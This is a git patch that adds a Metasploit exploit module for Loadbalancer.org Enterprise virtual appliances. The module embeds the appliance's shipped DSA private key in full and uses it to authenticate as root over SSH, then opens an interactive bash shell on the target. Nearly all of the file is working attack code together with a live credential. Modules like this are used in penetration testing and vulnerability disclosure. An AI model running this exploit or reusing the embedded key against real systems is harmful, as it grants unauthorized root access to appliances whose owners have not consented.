From 9bb4e5cfc397bda666f9ffb32da410df13ab8bd9 Mon Sep 17 00:00:00 2001
From: xistence <xistence@0x90.nl>
Date: Mon, 17 Mar 2014 14:22:51 +0700
Subject: [PATCH] Loadbalancer.org Enterprise VA SSH privkey exposure

---
 ...oadbalancerorg_enterprise_known_privkey.rb | 140 ++++++++++++++++++
 1 file changed, 140 insertions(+)
 create mode 100644 modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb

diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
new file mode 100644
index 0000000000..2a4ca353e4
--- /dev/null
+++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
@@ -0,0 +1,140 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info, {
+      'Name'        => 'Loadbalancer.org Enterprise VA SSH Private Key Exposure',
+      'Description' => %q{
+        Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances
+        version 7.5.2 that allows passwordless authentication to any other LB Enterprise box.
+        Since the key is easily retrievable, an attacker can use it to gain unauthorized remote
+        access as root.
+      },
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Privileged'  => true,
+      'Targets'     => [ [ "Universal", {} ] ],
+      'Payload'     =>
+        {
+          'Compat'  => {
+            'PayloadType'    => 'cmd_interact',
+            'ConnectionType' => 'find',
+          },
+        },
+      'Author'      => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+        ],
+      'DisclosureDate' => "Mar 17 2014",
+      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+      'DefaultTarget' => 0
+    }))
+
+    register_options(
+      [
+        # Since we don't include Tcp, we have to register this manually
+        Opt::RHOST(),
+        Opt::RPORT(22)
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+
+  end
+
+  # helper methods that normally come from Tcp
+  def rhost
+    datastore['RHOST']
+  end
+  def rport
+    datastore['RPORT']
+  end
+
+  def do_login(user)
+    opt_hash = {
+      :auth_methods => ['publickey'],
+      :msframework  => framework,
+      :msfmodule    => self,
+      :port         => rport,
+      :key_data     => [ key_data ],
+      :disable_agent => true,
+      :config => false,
+      :record_auth_info => true,
+      :proxies => datastore['Proxies']
+    }
+    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    begin
+      ssh_socket = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
+      end
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      return
+    rescue Net::SSH::Disconnect, ::EOFError
+      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+      return
+    rescue ::Timeout::Error
+      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+      return
+    rescue Net::SSH::AuthenticationFailed
+      print_error "#{rhost}:#{rport} SSH - Failed authentication"
+    rescue Net::SSH::Exception => e
+      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+      return
+    end
+
+    if ssh_socket
+
+      # Create a new session from the socket, then dump it.
+      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
+      ssh_socket = nil
+
+      return conn
+    else
+      return false
+    end
+  end
+
+  def exploit
+    conn = do_login("root")
+    if conn
+      print_good "#{rhost}:#{rport} - Successful login"
+      handler(conn.lsock)
+    end
+  end
+
+  def key_data
+    <<EOF
+-----BEGIN DSA PRIVATE KEY-----
+MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
+Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
+yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
+rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
+t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
+cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
+TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
+MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
+2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
+SzmJVCWFyVuuANR2Bnc=
+-----END DSA PRIVATE KEY-----
+EOF
+    end
+end
+
+